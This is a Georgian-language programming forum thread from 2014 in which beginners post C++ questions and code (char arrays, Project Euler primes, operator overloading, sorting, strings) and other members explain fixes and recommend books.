ვინმეს ხომ არ გაქვთ ამოცანათა კრებული c++ - ის პროგრამისტებისთვი? (ქართულად) smile.gif

Posted by: koshogio 12 Jul 2014, 22:31
nika_nika0406
აქ დარეგისტრირდი https://geolymp.org/ და ჯერ პირველი ნომრები გააკეთე. შეგიძლია შემოწმება გააკეთებინო Upsolving-ით.

Posted by: irakli8 18 Jul 2014, 20:03
.................................................................

Posted by: irakli8 20 Jul 2014, 23:50
ასეთი რაღაც რატომ არ მუშაობს?
CODE
#include<iostream>
using namespace std;

void func(char*);

void main()
{
char p[80] = "0";

func(p);
cout << p << endl;
}

void func(char *rec_word)
{
rec_word = "123";



}

Posted by: Shredinger 21 Jul 2014, 00:00
irakli8
"123" ზე მინიჭება გამოდის მარტო string კლასში.
ჩარების მასივში სტრინგის მინიჭება არ ხდება.
func ფუნქციაშიეს ჩაწერე
CODE

strcpy(rec_word,"123");


გეცოდინება ეს ფუნქცია.

Posted by: Dixtosa 21 Jul 2014, 00:03
irakli8
http://stackoverflow.com/questions/6803387/why-can-a-string-be-assigned-to-a-char-pointer-but-not-to-a-char-array

Posted by: irakli8 21 Jul 2014, 00:23
Shredinger
Dixtosa
მადლობა!

Posted by: irakli8 4 Aug 2014, 19:37
ვაკეთებდი ამ დავალებას http://projecteuler.net/problem=50 შემდეგ მოვძებნე ამაზე სწორი პასუხი და აღმოჩნდა რომ ჩემი პასუხი 10-ით მეტი იყო სწორზე, იგივე სხვაობა იყო როდესაც 1000-ზე ნაკლებ რიცხვზე ვცადე და ჩემ კოდში ვერ შევამჩნიე რატომ ხდება ესე, იქნებ დამეხმაროთ?

ისე ბლომად კი გამოვტოვე საკითხები, მე16-მდე მოვახერხე ყველას გაკეთება, მაგის მერე ზოგი ვერ გავაკეთე, ზოგსაც გადავახტი. დამწყებისათვის ნორმალურია რომ ასეთ საკითხებს ვერ ვაკეთებ? cry.gif
CODE
#include<iostream>
#include<cmath>
using namespace std;

int isprime(int &num)//ricxvis shemowmeba martivia tu shedgenili
{
enum prime {is_prime, not_prime} isprime;

isprime = is_prime;

if (num == 2 || num == 3)
 return 1;

for (int n = 2; n <= sqrt(num); n++)
{
 if (num%n == 0)
 {
  isprime = not_prime;
  break;
 }
}
if (isprime == is_prime)
 return 1;

else return 0;
}



int main()
{
int prime = 2, tempsum = 0, sum = 0;

int limit = 1000000;

do
{
 if (isprime(prime))
 {
  tempsum += prime;
 }
 prime++;

 //es imistvis rom sum milions ar gacdes

 if (tempsum < limit)
  sum = tempsum;

 if (tempsum >= limit)
  break;

} while (0==0);

cout << sum << endl;
}

Posted by: posthuman 4 Aug 2014, 20:31
irakli8
"Which prime, below one-million, can be written as the sum of the most consecutive primes?"
ანუ ეს ჯამიც მარტივი უნდა იყოს, შენ კიდე არსად არ ამოწმებ tempsum მარტივია თუ არა.

QUOTE
დამწყებისათვის ნორმალურია რომ ასეთ საკითხებს ვერ ვაკეთებ?

კი wink.gif კარგია რომ ასეთ ამოცანებზე ვარჯიშობ, ზოგი რაღაც ტექნოლოგიებს ისწავლის მაგრამ მერე იჭედება როგორც კი ოდნავ რთული კოდი ექნება დასაწერი რადგან ტვინის ჭყლეტვის გამოცდილება არ აქვს.

Posted by: irakli8 5 Aug 2014, 12:14
posthuman
მოკლედ ჩავასწორე ეგ, მარა პასუხი ძალიან აცდა, ეტყობა აქ ასეთი რაღაცაა ნაგულისხმევი, რომ ჯერ მარტივი რიცხვების შეკრებით მივიღო უდიდესი რიცხვი, რომელიც ნაკლებია მილიონზე და მერე მაგ ციფრს ვაკლო მარტივი რიცხვები(ოღონდ თავიდან 2,3,5) სანამ მარტივს არ მივიღებ. ასეთი მიდგომით კი გამოდის 2+3+5=10 და მაგას რომ დავაკლებ კი გამოდის სწორი პასუხი.

Posted by: Paul Adrian Maurice 6 Aug 2014, 08:43
QUOTE (irakli8 @ 4 Aug 2014, 19:37 )
ვაკეთებდი ამ დავალებას http://projecteuler.net/problem=50 შემდეგ მოვძებნე ამაზე სწორი პასუხი და აღმოჩნდა რომ ჩემი პასუხი 10-ით მეტი იყო სწორზე, იგივე სხვაობა იყო როდესაც 1000-ზე ნაკლებ რიცხვზე ვცადე და ჩემ კოდში ვერ შევამჩნიე რატომ ხდება ესე, იქნებ დამეხმაროთ?

ისე ბლომად კი გამოვტოვე საკითხები, მე16-მდე მოვახერხე ყველას გაკეთება, მაგის მერე ზოგი ვერ გავაკეთე, ზოგსაც გადავახტი. დამწყებისათვის ნორმალურია რომ ასეთ საკითხებს ვერ ვაკეთებ? cry.gif
CODE
#include<iostream>
#include<cmath>
using namespace std;

int isprime(int &num)//ricxvis shemowmeba martivia tu shedgenili
{
enum prime {is_prime, not_prime} isprime;

isprime = is_prime;

if (num == 2 || num == 3)
 return 1;

for (int n = 2; n <= sqrt(num); n++)
{
 if (num%n == 0)
 {
  isprime = not_prime;
  break;
 }
}
if (isprime == is_prime)
 return 1;

else return 0;
}



int main()
{
int prime = 2, tempsum = 0, sum = 0;

int limit = 1000000;

do
{
 if (isprime(prime))
 {
  tempsum += prime;
 }
 prime++;

 //es imistvis rom sum milions ar gacdes

 if (tempsum < limit)
  sum = tempsum;

 if (tempsum >= limit)
  break;

} while (0==0);

cout << sum << endl;
}

შენ განიხილავ მარტო ერთ შემთხვევას, როცა პირველი რიცხვი არის 2. მეორე ციკლიცაა საჭირო, როცა პირველი რიცხვია 3, 5, 7, ...

ასე აკეთებ. იწყებ ორით. მოძებნი ყველაზე დიდ ჯამს რომელიც მილიონზე ნაკლებია და თანაც მარტივი. შეინახავ რამდენი მარტივი რიცხვის ჯამია ეს რიცხვი. მერე იწყებ პირველი რიცხვი სამით. იგივეს იმეორებ. თუ მიღებული რიცხვის ჯამში წევრების რაოდენობა მეტია, ეს რიცვი გახდება შენი საძებნი მარტივი რიცხვი. მერე იწყებ ხუთით და ასე შემდეგ.

using namespace std არ ითვლება კარგ ჩვევად. შეიძლება ორი namespace დაგჭირდეს და მათი ფუნქციები აირიოს. std::cout << sum << std::endl შეგიძლია დაწერო.

int isprime(int &num)
ჯობია bool იყოს ეს ფუნქცია და არა int. მერე რეფერნსის გამოყენება აქ არაა საჭირო. int &num-ს გამოიყენებდი როცა num-ის მნიშვნელობის შეცვლა გინდა. ახლა ფუნქციაში შემთხვევით num რომ შეგეცვალოს, შენი მარტივი რიცვი შეიცვლება. ჯობია int num იყოს არგუმენტი.

while (0==0); ეს არ მესმის რატომ უნდა დაწერო? while (true) მაინცდამაინც ჭეშმარიტება თუ გინდა დაწერო. აწი
while (tempsum < limit) დაგეწერა.

მარტივი რიცხვი ყოველთვის არის 6n + 1 ან 6n - 1. ამიტომ შეგიძლია შეამოწმო (num + 1) % 6 == 0 ან (num - 1) % 6 == 0. თუ ეს პირობა არ სრულდება, მაშინ შენი რიცხვი არაა მარტივი. თუ სრულდება, მარტო მაგ შემთხვევაში შეამოწმე მარტივია თუ არა. აგერ ჩემი მარტივი რიცხვის შემმოწმებელი

CODE

bool isPrime(int n) {
 if (n <= 1) return false;
 if (n == 2 || n == 3) return true;
 if ((n + 1) % 6 == 0 || (n - 1) % 6 == 0 ) {
   for (int i = 2; i <= sqrt(n); i++) {
     if (n % i == 0)
return false;
   }
   return true;
 }

 return false;
}

Posted by: irakli8 6 Aug 2014, 10:29
Paul Adrian Maurice
დიდი მადლობა ასეთი დაწვრილებით განხილვისთვის, აუცილებლად გავითვალისწინებ!

Posted by: irakli8 7 Aug 2014, 20:02
ამ projecteuler-ზე ძალიან ბევრჯერ შემხვდა დავალება როდესაც ისეთი რიცხვი მიიღება რომელიც არ ჩაეტევა არცერთ ცვლადში, მაგალითად ერთი იყო 2^1000-ის ციფრთა ჯამიო, და ეგ რიცხვი კი 301 ციფრისგან შედგება, ვერც სტრინგში გადატანას ვახერხებ. C++ ში როგორ მოვაგვარო ეს?

Posted by: Paul Adrian Maurice 8 Aug 2014, 05:03
irakli8
შექმენი ახალი კლასი grZeliRicxvi, რომელიც სიგრძეში არ იქნება შეზღუდული. deitel-ის წიგნშია (ბანძი წიგნია) მემგონი განხილული

Posted by: irakli8 8 Aug 2014, 22:20
Paul Adrian Maurice
მადლობა, ოოპ ფაქტიურად ნასწავლი არ მაქვს და C-ს ნაწილი ვიცი მხოლოდ C++ის, ესე იგი გამოუსადეგარია დიდ რიცხვებთან C?

Posted by: Paul Adrian Maurice 8 Aug 2014, 22:58
irakli8
C-ზე ყველაფერს გააკეთებ რაც OOP C++ით შეგიძლია. ნახე დეიტელის წიგნი როგორ კეთდება, კლასის შემოღება არაა აუცილებელი, რიცხვი შეგიძლია სტრინგად გადააქციო და მაგათზე გამრავლების და მიმატება-გამოკლების ოპერაციები განსაზღვრო, დაახლოებით ისე როგორც ქვეშმიწერით წერ. ანდა აგერ არის გამზადებული ბიბლიოთეკა და ჩამოტვირთე
https://gmplib.org/manual/C_002b_002b-Interface-General.html
https://gmplib.org/

Posted by: irakli8 16 Aug 2014, 13:51
მაქვს queue კლასი და მინდოდა გადამეწყო ეს ისე, რომ რიცხვებზეც იმუშაოს და სიმბოლოებზეც, დავიწყე ფუნქციების გადატვირთვა (overload), მაგრამ get() ფუნქციაში არგუმენტი არ მაქვს და სხვანაირად როგორ შეიძლება მიზნის მიღწევა?
და მაგასთან დაკავშირებულუ პრობლემა მაქვს ასევე მთავარ ფუნქციაშიც.

პ.ს. რატომღაც სპოილერში არ შემიძლია კოდის ჩასმა, ამხელაზე რო იწელება პოსტები სგირძეში...
» სპოილერის ნახვისთვის დააწკაპუნეთ აქ «
CODE
 #include<iostream>
using std::cout;
using std::cin;
using std::endl;

const int max_size = 100;

class queue
{
public:
int q[max_size];
int size;
int getint, putint;

queue(int rec_size)
{
 if (rec_size > max_size) rec_size=max_size;
 else if (rec_size <= 0) rec_size = 1;
 size = rec_size;
 getint = putint = 0;
}

 void put(int rec_num)
 {
  if (putint == size)
  {
   cout << "queue is full" << endl;
   return;
  }
  putint++;
  q[putint] = rec_num;
 }

 void put(char rec_num)
 {
  if (putint == size)
  {
   cout << "queue is full" << endl;
   return;
  }
  putint++;
  q[putint] = rec_num;
 }

 int get()
 {
  if (getint == putint)
  {
   cout << "queue is empty" << endl;
   return 0;
  }

  getint++;
  return q[getint];
 }
-------------------------------------------------------------------------------
  char get()
 {
  if (getint == putint)
  {
   cout << "queue is empty" << endl;
   return 0;
  }

  getint++;
  return q[getint];
 }
--------------------------------------------------------------------------------
};

int main()
{
queue ex(100);
int num;

cout << "send number: ";
cin >> num;
ex.put(num);
cout << ex.get() << endl;
return 0;


}

* * *
ვიპოვე, მგონი template-ით კეთდება, წიგნს მივყვები და არმაქ ჯერ ნასწავლი...

Posted by: irakli8 16 Sep 2014, 08:29
ესე იგი რა მაინტერესებს, << გადატვირთვისას რომ cout-თან იმუშაოს ჩემმა კლასმა დაწერილია ესეთი რაღაც (წიგნში)

CODE
std::ostream &operator<<(ostream &v, vector &k)
{
cout << k.mX << " " << k.mY << " " << k.mZ << endl;
return v;
}


რატომ არის აღებული &operator და არა ჩვეულებრივ operator, მაგას რომ ვუშლი ერორს მიჩვენებს, return v-ზე აწერს cannod be referenced -- deleted function
თან ასეც შემიძლია გადავწერო და ვითომ რა არის აქ ცუდი?

CODE
vector operator<<(ostream &v, vector k)
{
cout << k.mX << " " << k.mY << " " << k.mZ << endl;
return k;
}

თუმცა აქ &v მაინც საჭიროა, მოკლედ მაინტერესებს მაღლა კოდში სამივე &-ის დანიშნულება რა არის.

Posted by: Shredinger 16 Sep 2014, 16:51
irakli8
QUOTE
რატომ არის აღებული &operator და არა ჩვეულებრივ operator

ეს vector კლასი შენი კლასია თუ std namespace ში რომ ვექტორია ის. თუმცა შენი კლასი იქნება.
წარმოიდგინე ასეთი რამ:
myclass me;
myclass sxva;
cout << me << sxva;

& ეს ამპერსანდი საჭიროა იმისთვის რომ გადაბმულად გამოიტანო ორივე ობიექტის ინფორმაცია.
ანუ
(cout << me) << sxva

operator<<(cout,me) << sxva
operator<<(operator<<(cout,me),sxva)

(cout << me) უნდა დააბრუნოს ostream& რომ გამოვიდეს ასე:
operator<<(ostream&,sxva)

QUOTE
vector operator<<(ostream &v, vector k)
{
cout << k.mX << " " << k.mY << " " << k.mZ << endl;
return k;
}

ასე გამოდის? თუ გამოდის გამოვა მხოლოდ ერთ გამოტანაზე ანუ
cout << me - ზე იმუშავებს.
cout << me << sxva; - ზე უკვე აღარ.

რა წიგნით გადიხარ? წესით უნდა ეწეროს მაგის დანიშნულება.

P.S დიდი ხანია არ გადამიშლია წიგნი და ზუსტად დეტალები აღარ მახსოვს მაგრამ ძირითადად ეგრეა.
თუ რამეა learncpp.com ნახე ძალიან კარგადაა ყველაფერი აღწერილი.

ხოდა კიდე ახლა შევამჩნიე:
CODE
cout << k.mX << " " << k.mY << " " << k.mZ << endl;

აქ cout არა. v უნდა იყოს
v << k.mX << " " << და ა.შ

Posted by: irakli8 16 Sep 2014, 18:22
Shredinger
მადლობა, გავიგე!
Game institute-ს C++ პირველ ნაწილში იყო ახსნილი ეს თუმცა არ ეწერა ჩემ კითხვებზე პასუხი. ადრე C++ a beginner's guide ამით გავდიოდი, ამაში საერთოდ არ არის i/o ოპერატორების გადატვირთვა ახსნილი.

QUOTE
learncpp.com

აქ წავიკითხე და კარგადაა ახსნილი, ამასაც მივიხმარებ, მადლობა!

Posted by: Shredinger 16 Sep 2014, 18:39
irakli8
არაფერს.

მე თავიდან ძირითადად ავტორიტეტული წიგნები რაც იყო იქედან ავირჩიე.
დასაწყისისთვის C++ primer plus ან C++ Primer არის კარგი
ამაზე უკეთესი არვიცი.

აქ არის კარგი წიგნების ჩამონათვალი რა როდის უნდა წაიკითხო და გადაათვალიერე მაინც.
http://stackoverflow.com/questions/388242/the-definitive-c-book-guide-and-list

C++ Primer Plus ში ის მომწონს რომ თავიდან C და C++ ადარებს ერთმანეთს. და მერეც ბლომად შედარებები მოყავს C და C++ შორის.

Posted by: irakli8 16 Sep 2014, 19:10
Shredinger
ხან ერთგან არის რაღაც გამოტოვილი ხან კიდევ მეორეგან და დავხტოდი მაგ ორ წიგნზე აქეთ იქით, ეხლა ავიღებ C++ primer plus და რაც ვიცი გადავავლებ თვალს, რაც არადა ვისწავლი. არადა ეს C++ a beginner's guide ნაყიდი მაქვს თვითონ წიგნი :/

Posted by: Shredinger 16 Sep 2014, 19:29
irakli8
ზოგ წიგნში ყველაფერი ვერ იქნება თავმოყრილი.
წიგნი დამწყებთათვისასში ვერ იქნება advanced რაღაცეები და ამიტომ გამოტოვებულია ხოლმე.
მაღალი დონის წიგნებში კიდე მარტივი რაღაცეები არ ეწერება და ასე.
ჯობია ერთ წიგნს გაყვე ბოლომდე და თუ ნახავ რომ რაღაც გამოტოვებულია და ახსნა არააქ დაიკიდე. მიიღე როგორც აქსიომა.

Posted by: DistrictA 17 Sep 2014, 21:46
რამდენი ხანია საჭირო რომ თამაშების cheat ები შევქმნა?
ანუ რამდენი ხანი უნდა ვისწავლო C++ და საკმარისია მარტო C++ ?

Posted by: Yan-LoonG 19 Sep 2014, 13:32
user posted image

აუ რა მაინტერესებს აქ მიწერია შემდეგი რამ შემაქვს 2 რიცხვი და უდიდეს კომპიუტერი ავტომატურად არჩევს და ჰყოფს უმცირესზე,
ახლა მინდა რო 2 რიცხვის მაგიერ შევიტან 10 ან 20 ან რავი ბევრი რიცხვი და კომპა უდიდეს ავტომატურად გაყოს უმცირესზე და როგორ მოვიქცე??

Posted by: irakli8 19 Sep 2014, 14:08
Yan-LoonG
მაგისთვის გამოიყენე მასივი, მასივში შეიტანე რიცხვები და მერე დაალაგე, შემდეგ ბოლო ინდექსის გაყავი პირველზე, ან პირიქით თუ კლების მიხედვით დაალაგებ.

Posted by: koshogio 19 Sep 2014, 16:17
Yan-LoonG
ეს დალაგების პროგრამაა, ე.წ. ბუშტულების მეთოდით:
CODE
#include <iostream>
using namespace std;
int n,i,j;
int x[20001];
main(){
cout<<"sheitanet masivis sigrdze"<<endl;
cin>>n;
cout<<"sheitanet masivis elementebi"<<endl;
for(i=1; i<=n; i++)
cin>>x[i];

for(i=1; i<n; i++){

for(j=i; j<=n; j++)
if(x[j] < x[j-1]) swap(x[j], x[j-1]);
}
cout<<"dalagebuli masivia"<<endl;
for(i=1; i<=n; i++)
cout<<x[i]<<endl;

}

Posted by: Yan-LoonG 19 Sep 2014, 17:02
koshogio
irakli8
მადლობა :*
აუ ეს ვერ გავიგე რას ნიშნავს და რას აკეთებს
for ( init; condition; increment )

Posted by: Shredinger 19 Sep 2014, 17:05
Yan-LoonG
QUOTE
for ( init; condition; increment )

ციკლს.

Posted by: koshogio 19 Sep 2014, 17:24
Yan-LoonG
QUOTE
აუ ეს ვერ გავიგე რას ნიშნავს და რას აკეთებს

ამას for(i=1; i<=n; i++). თუ n=6, ექვსჯერ შეასრულებს {}-ში მოთავსებულ კოდს, რადგან i++ ნიშნავს i=i+1 ს, ანუ ყოველი მოქმედების შემდეგ 1-ით იზრდება.

Posted by: irakli8 19 Sep 2014, 19:07
Yan-LoonG
QUOTE
Yan-LoonG
QUOTE
აუ ეს ვერ გავიგე რას ნიშნავს და რას აკეთებსამას for(i=1; i<=n; i++). თუ n=6, ექვსჯერ შეასრულებს {}-ში მოთავსებულ კოდს, რადგან i++ ნიშნავს i=i+1 ს, ანუ ყოველი მოქმედების შემდეგ 1-ით იზრდება.



პლიუს გაითვალისწინე, რომ for(i=1; i<=6; i++) ამ ციკლის დასრულების შემდეგ i=7.

Posted by: MOLA 19 Sep 2014, 20:39
----------------------------------------------------------------------

Posted by: TooPowa 25 Sep 2014, 02:30
გამარჯობათ
პატარა პროგრამის გაკეთება მინდა, ც++ შეხება არ მქონია, ნუ ღრმა ბავშვობის მერე givi.gif

მოკლედ მინდა პანელი რომელზეც რეგისტრაციას გავაკეთებ შიგნიდან (ძაან მოკლედ, სახელი, გვარი დაბადების თარიღი, იუზერნეიმი და პაროლი) რომელიც დაკავშირებული იქნება ჰოსტთან)

პანელში ავტორიზაციის შემდეგ "იუზერს" ექნება საშუალება დაამატოს რამე ტექსტი ან ნახატი თავისი კომპიუტერიდან (ან ნახატი ტექსტით)

და საიდან დავიწყო ხომ ვერ მეტყვით? აი რაც ზემოთ დავწერე კონკრეტულად მაგაში რაც დამეხმარება რამე წიგნები ან პოსტები რომ დამიკოპიროთ ძაან მადლობელი დაგრჩებით...

და ხო, პროგრამა ონლაინ კავშირებზე არ იქნება, უბრალოდ კავშირი იქნება საჭირო ავტორიზაციაზე... user.gif ძაან რთული არაა cry.gif

Posted by: Yan-LoonG 2 Oct 2014, 16:01
ხალხნო
როგორ გავაკეთო ასე აი მაგალითად If როცა ვწერ მინდა რო ჩამოვწერო რაღაც მსგავსი (a>b) ზე (b==0) და (a!=0) აი ახლა აქედან ერთერთი თუ მაინც შესრულდება გამოიტაონოს ეკრანზე რაღაც სიტყვა cout << "sityva"
და ახლა მინდა რო აქედან ყველა როცა შესრულდება გამოიტანოს Cout << "moere sityva"
როგორ გავაკეთო ეგრე?

Posted by: koshogio 2 Oct 2014, 16:17
Yan-LoonG
თუ გინდა რომ ერთერთი შესრულდეს, უნდა გამოიყენო ლოგიკური "ან", ასე იწერება || ან or, ხოლო თუ გინდა რომ ყველა პირობა ერთდროულად შესრულდეს, მაშინ - ლოგიკური "და", ასე იწერება && ან and .
მაგალითი:
main(){
if (a>b || b==0 || a!=0)
cout<<"Yan-LoonG"<<endl;
else if(a>b && b==0 && a!=0)
cout<<"koshogio"<<endl;

}

Posted by: Yan-LoonG 2 Oct 2014, 17:27
koshogio
აუ მადლობა ძაან გამომადგა :*

Posted by: Yan-LoonG 9 Oct 2014, 18:01
აუ ეს რატო არ მუშაობს:
CODE

// asds.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <iostream>
using namespace std;


int _tmain(int argc, _TCHAR* argv[])
{

char a;
cout << "dzma gyavs?" << endl;
cin >> a;
switch(a) {
case 'ki' : cout << " ramdeni? "; break;
case 'ara' : cout << "rato mere?"; break;
default: cout << "shecdoma"; break;
}

return 0;


ანუ ki და ara -ს არ კითხულობს
მარა მაგათ მაგიერ ესე რო გავაკეთებ უკვე მუშაობს:

CODE
// asds.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <iostream>
using namespace std;


int _tmain(int argc, _TCHAR* argv[])
{

char a;
cout << "dzma gyavs?" << endl;
cin >> a;
switch(a) {
case 'k' : cout << " ramdeni? "; break;
case 'a' : cout << "rato mere?"; break;
default: cout << "shecdoma"; break;
}

return 0;
}




როგორ მოვიქცე?

Posted by: irakli8 9 Oct 2014, 18:05
Yan-LoonG
char ტიპის ცვლადს მხოლოდ ერთი სიმბოლოს შენახვა შეუძლია, კი და არა რომ შეინახო ან მასივი უნდა გამოიყენო, ან კიდევ სტრინგი

Posted by: Yan-LoonG 9 Oct 2014, 20:34
irakli8
QUOTE
სტრინგი

სტრინგი ამით როგორ გავაკეთო??? შეგიძლია ამიხსნა :* ?

Posted by: irakli8 9 Oct 2014, 20:56
Yan-LoonG
Deklarirebas aketeb ese
string mystring da mere chveulebriv gamoiyeneb masze masivistvis damaxasiatebel moqmedebebs.
http://www.cplusplus.com/reference/string/string/

Posted by: Yan-LoonG 10 Oct 2014, 13:14
irakli8
აუ ბერ ვაკეთებ sad.gif( შეიძლია კოდი დამიწერო როგორ გავაკეთო თუ არ შეწუხდები :*

Posted by: Dixtosa 10 Oct 2014, 17:50
Yan-LoonG
სთრინგს ვერ მისცემ სვიჩს. იფ ელსე გამოიყენე.

რა გინდა მეორე ხო მუშაობს biggrin.gif

Posted by: koshogio 10 Oct 2014, 19:36
Yan-LoonG
QUOTE
სთრინგს ვერ მისცემ სვიჩს. იფ ელსე გამოიყენე.

CODE
#include "cstring"
#include <iostream>
using namespace std;


main()
{

string a; int n;
cout << "dzma gyavs?" << endl;
cin >> a;
if(a=="ki") {

cout << " ramdeni? "<<endl;
cin>>n;
}
else if(a=="ara") cout << "rato mere?"<<endl;
else cout << "shecdoma"<<endl;

return 0;}

Posted by: irakli8 10 Oct 2014, 20:49
Yan-LoonG
ეხლა მოვძებნე და ვნახე, არ მახსოვდა, სვიჩი მუშაობს int რიცხვებზე, სტრინგი კი ინტ ტიპის არაა, char კი ინტ ტიპისაა, უბრალოდ რიცხვის ნაცვლად ასოს გვაძლევს

Posted by: Yan-LoonG 11 Oct 2014, 19:25
koshogio
irakli8


Dixtosa
აჰა გასაგებია მადლობა :* ეგ მაინტერესებდა სვიჩით თუ გამოვიდოდა მადლობა სამივეს დახმარებისთვის :*
* * *
აუ კიდე ერთი კითხვა მაქვს ვთქვათ მომხმარებელმა შეიყვანა რიცხვი და მინდა რო ასეთი რამე გავაკეთო თუ არ მირცხვიდა პირველი სიმბოლო 0 ანია მაშინ კომპიუტერმა რაღაც მოქმედება შეასრულოს (0-ანი ჩამოაშოროს და რაც დარჩება იმ რიცხვზე მათემატიკური მოქმედებები შეასრულოს/)
და თუ არა 0 ანი მაშინ ჩვეულებრივ შესრულოს ეს მოქმედებები .


2 ცვლადით არ მინდა რიცხვის შეყვანა და მერე ( ანუ პირველი ცვლადით მარტო 0 რო იყოს და მეორე რამე რიცხვი და მერე if ით მოხდეს პირველი ცვლადის გადამოწმება. ეგრე არ მინდა.)

რაღაც მგონია charით ან stringით გამოვიდეს
მაგრამ ვერ ვაკეთებ sad.gif((

Posted by: irakli8 11 Oct 2014, 23:03
Yan-LoonG
ანუ დავუშვათ 001 რომ შევიყვანოთ, პროგრამამ გადააქციოს 1-ად და მერე გააკეთოს მათემატიკური მოქმედებები?
წინ 0-იანებს არ აქცევს ყურადღებას ისედაც პროგრამა.

Posted by: Yan-LoonG 11 Oct 2014, 23:11
irakli8
კი კი ზუსტად ეგრე მინდა 001 რო შევიყვანო და კომპიუტერმა 1 ად ჩათვალოს მათ. მოქმედებების დროს
ჩემ შემთხვევაში ერთი 0 იქნება მარტო წინ, მეტს მომხმარებელი არ შეიყვანს.
* * *
irakli8
აუ მივხვდი რაც მითხარი ახლა biggrin.gif რა ამრტივი კოფილა biggrin.gif გაიხარე ძMა :*

Posted by: irakli8 11 Oct 2014, 23:33
ესე იგი მინდა, რომ მასივის თავში მყოფი სიმბოლოები გადავყარო მასივის ბოლოში, მიმდევრობის შეუცვლელად, მაგრამ აქ მიგდებს ერორს აქ:
if (num_str[i] >= '0' && num_str[i] <= '9')
ალბათ პოინტერს აქვს რაღაც პრობლემა მაგრამ ვერ მივხვდი რა პრობლემა აქვს
CODE
#include<cstdlib>
#include<iostream>
#include<algorithm>
using namespace std;

void to_end(char *num_str)
{
int used_length = 0;
int size = sizeof(num_str)-2; //rom '\0'-s ar shevexo

for (int i = 0; 0 <= size; i++)
{
 if (num_str[i] >= '0' && num_str[i] <= '9')
 used_length++;
}

for (int i = 0; 0 <= used_length; i++)
{
 swap(num_str[i], num_str[size-(used_length-i)]); //boloshi gadavitano ricxvebi, mimdevrobis sheucvlelad
}
}

int main()
{
char nums[6] = "123";
to_end(nums);
cout<<nums<<endl;
system("pause");
return 0;

}

Posted by: koshogio 12 Oct 2014, 00:03
irakli8
QUOTE
ესე იგი მინდა, რომ მასივის თავში მყოფი სიმბოლოები გადავყარო მასივის ბოლოში

CODE
#include <iostream>
using namespace std;
int n,i,j;
int x[20001];
main(){
cout<<"sheitanet masivis sigrdze"<<endl;
cin>>n;
cout<<"sheitanet masivis elementebi"<<endl;
for(i=1; i<=n; i++)
cin>>x[i];

for(i=1; i<n; i++)
for(j=i; j<=n; j++)
swap(x[i], x[j]);

cout<<"Sebrunebuli masivia"<<endl;
for(i=1; i<=n; i++)
cout<<x[i]<<endl;

}

Posted by: irakli8 12 Oct 2014, 00:13
koshogio
მადლობა...
--------------------

Posted by: Yan-LoonG 18 Oct 2014, 12:56
ე.ი დავწერე კოდი პატარა რომელსაც 10 ბითი რიცხვი გადაჰყავს 2 ბითში.
int a;
cin >> a;
while (a>0) {
b=a%2;
a=a/2;
cout << b; }

ხოდა ახლა რა ხდება იბეჭდება ჩვეულებრივ მაგრამ მინდა რომ ბოლო ადგილში რა რიცხვიც იქნება ე დაიბეჭდოს პირველი ანუ მოხდეს სარკულად დაბეჭვდა რა. მარჯვნიდან მარცხნივ.
ხოდა როგორ მოვიქცე? sad.gif((

Posted by: irakli8 18 Oct 2014, 16:30
Yan-LoonG
Masivshi sheyare da is dabechde piriqit.

Posted by: Yan-LoonG 18 Oct 2014, 18:45
irakli8
მასივში როგორ შევყარო??
ისე არ შიეძება strin ში რო ჩავყარო ვაილში რო დაატრიალებს ერთ-ერთი სიმბოლო და მერე ციკლის დამთავრების მერე დავბეჭდო. სტრინგის მოტრიალება ვიცი. ;დ

Posted by: irakli8 18 Oct 2014, 21:28
Yan-LoonG
რათ გინდა საერთოდ ორობითში რომ გაჩვენოს?
არსებობს bitset რომლის სინტაქსი არც მე არ მაქვს ნასწავლი ჯერ.
http://www.cplusplus.com/reference/bitset/bitset/operators/
ფაქტიურად შენ სინტაქსი არ იცი, ნებისმიერ სახელმძღვანელოს დასაწყისშივე არის ახსნილი მასივები და დიდი გამოყენებაც აქვს. ამას ჯობია მიყვე, ისწავლო თეორია, შემდეგ ან შიგადაშიგ მოიფიქრო და რაიმე პროექტი გააკეთო. მაგალითად მე საზომი ერთეულების კონვერტერი გავაკეთე ერთხელ, რომელიც საკმაოდ ახლართულია.

Posted by: Yan-LoonG 19 Oct 2014, 13:29
irakli8
QUOTE
რათ გინდა საერთოდ ორობითში რომ გაჩვენოს?

რავი ისე , რაგაც ამოცანებს ვწერ.
და მინდა რო ახლა რაც დაბეჭდა ეგ შემოვატრიალო მარა ვერანაირად ვერ ვაკეთებ sad.gif((
ანუ დაბეჭდა თქვათ 10010 და მინდა რო დაებეჭდა პირიქით 01001

Posted by: irakli8 19 Oct 2014, 14:01
Yan-LoonG
მასივი, ინგლისურად array იცი რა არის?
თუ არ იცი და ასე ალაგ-ალაგ აპირებ სწავლას, ჯობია საერთოდ თავი დაანებო, იმიტომ რომ აზრი არ აქვს.

Posted by: Yan-LoonG 21 Oct 2014, 15:49
QUOTE
მასივი, ინგლისურად array იცი რა არის?

ახლა ვსწავობ მაგას ;დ
კაროჩE რა მაინტერესებს მინდა გავიგო ჩემ მასივში რამდენი ელემენტია. დავგუგლე და ასეთ რაღაც ვნახე :
sizeof(array) / 4ზეო და ეს გამოატანინოო და რატომ მაინცდამაინც 4ზე? ვერ ვხვდები sad.gif((
იქნებ ამიხსნათ.

Posted by: irakli8 21 Oct 2014, 16:16
Yan-LoonG
თუ ინტ ტიპისაა მაშინ მასივის ზომა იქნება რაოდენობა*4ბაიტზე და მაგიტომ

Posted by: Yan-LoonG 21 Oct 2014, 16:20
irakli8
აა გასაგებია ანუ ინტ ტიპში ერთი ცალი რიცხვი იკავებს 4 ბაიტს ხო?
და თუ ინტ ტიპის არააა როგორ მოვიქცე?

Posted by: koshogio 21 Oct 2014, 16:32
Yan-LoonG
ხომ დავდე მასივის შებრუნებულად დაწერის კოდი http://forum.ge/?showtopic=34458175&view=findpost&p=42515257

Posted by: irakli8 21 Oct 2014, 16:38
Yan-LoonG
ინტ არის 4 ბაიტიანი
ჩარ არის 1 ბაიტიანი
float 4byte
double 8 byte

Posted by: Yan-LoonG 21 Oct 2014, 16:42
irakli8
მადლობა. დამხარებისთვის
koshogio
ეს ვერ შევნიშნე, მადლობა დამეხამარა მაგრა ეს კოდი :*
* * *
ე.ი რა მინდა მინდა შევქმნა მასივი ინტ ტიპის.
ხოდა ისე არ მოხერხდება რო ზომა თავიდანვე არ დავარეზერვო, და ავტომატურად ჩაიწეროს როდესაც სიმბოლოებს შევიტან?
